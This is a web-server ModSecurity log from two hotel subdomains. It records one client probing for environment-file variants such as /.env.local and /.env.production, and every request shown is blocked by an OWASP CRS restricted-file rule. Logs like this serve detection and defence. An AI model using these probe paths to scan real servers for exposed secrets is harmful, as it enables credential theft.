[Sun Oct 25 04:06:21.692194 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.int"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at24fS7GhhaIo05efijDGgAAAAc"]
[Sun Oct 25 04:06:21.692395 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at24fS7GhhaIo05efijDGgAAAAc"]
[Sun Oct 25 04:06:21.692699 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at24fS7GhhaIo05efijDGgAAAAc"]
[Sun Oct 25 04:06:21.709396 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.int"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at24fVTnwNJm6o1fQZIirwAAAAI"]
[Sun Oct 25 04:06:21.709659 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at24fVTnwNJm6o1fQZIirwAAAAI"]
[Sun Oct 25 04:06:21.710063 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.int"] [unique_id "at24fVTnwNJm6o1fQZIirwAAAAI"]
[Sun Oct 25 04:06:21.710562 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at24fYHtOs-nfC4GshpRqAAAABc"]
[Sun Oct 25 04:06:21.710690 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at24fYHtOs-nfC4GshpRqAAAABc"]
[Sun Oct 25 04:06:21.710906 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at24fYHtOs-nfC4GshpRqAAAABc"]
[Sun Oct 25 04:06:21.711867 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at24farU4NwppjTEGaL6hwAAAAY"]
[Sun Oct 25 04:06:21.711982 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at24farU4NwppjTEGaL6hwAAAAY"]
[Sun Oct 25 04:06:21.712238 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at24farU4NwppjTEGaL6hwAAAAY"]
[Sun Oct 25 04:06:21.724469 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at24fbQKh4dfs72fmHxv8wAAAAE"]
[Sun Oct 25 04:06:21.724642 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at24fbQKh4dfs72fmHxv8wAAAAE"]
[Sun Oct 25 04:06:21.724867 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at24fbQKh4dfs72fmHxv8wAAAAE"]
[Sun Oct 25 04:06:21.758333 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at24fQLaiqtlZaJBsx4XywAAAA0"]
[Sun Oct 25 04:06:21.758631 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at24fQLaiqtlZaJBsx4XywAAAA0"]
[Sun Oct 25 04:06:21.759060 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at24fQLaiqtlZaJBsx4XywAAAA0"]
[Sun Oct 25 04:06:21.772116 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at24fZ68N771hz7W4KlsQwAAAAw"]
[Sun Oct 25 04:06:21.772310 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at24fZ68N771hz7W4KlsQwAAAAw"]
[Sun Oct 25 04:06:21.772614 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at24fZ68N771hz7W4KlsQwAAAAw"]
[Sun Oct 25 04:06:21.773638 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at24fdxXWZMI2DaSlsHxMAAAABY"]
[Sun Oct 25 04:06:21.773786 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at24fdxXWZMI2DaSlsHxMAAAABY"]
[Sun Oct 25 04:06:21.773986 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at24fdxXWZMI2DaSlsHxMAAAABY"]
[Sun Oct 25 04:06:21.775745 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at24fS7GhhaIo05efijDGwAAAAc"]
[Sun Oct 25 04:06:21.775868 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at24fS7GhhaIo05efijDGwAAAAc"]
[Sun Oct 25 04:06:21.776106 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at24fS7GhhaIo05efijDGwAAAAc"]
[Sun Oct 25 04:06:21.788347 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at24fYHtOs-nfC4GshpRqQAAABc"]
[Sun Oct 25 04:06:21.788510 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at24fYHtOs-nfC4GshpRqQAAABc"]
[Sun Oct 25 04:06:21.788719 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at24fYHtOs-nfC4GshpRqQAAABc"]
[Sun Oct 25 04:06:21.812189 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at24farU4NwppjTEGaL6iAAAAAY"]
[Sun Oct 25 04:06:21.812323 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at24farU4NwppjTEGaL6iAAAAAY"]
[Sun Oct 25 04:06:21.812600 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at24farU4NwppjTEGaL6iAAAAAY"]
[Sun Oct 25 04:06:21.813578 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at24fVTnwNJm6o1fQZIisAAAAAI"]
[Sun Oct 25 04:06:21.813722 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at24fVTnwNJm6o1fQZIisAAAAAI"]
[Sun Oct 25 04:06:21.813949 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "at24fVTnwNJm6o1fQZIisAAAAAI"]
[Sun Oct 25 04:06:21.818256 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at24fbQKh4dfs72fmHxv9AAAAAE"]
[Sun Oct 25 04:06:21.818402 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at24fbQKh4dfs72fmHxv9AAAAAE"]
[Sun Oct 25 04:06:21.818663 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at24fbQKh4dfs72fmHxv9AAAAAE"]
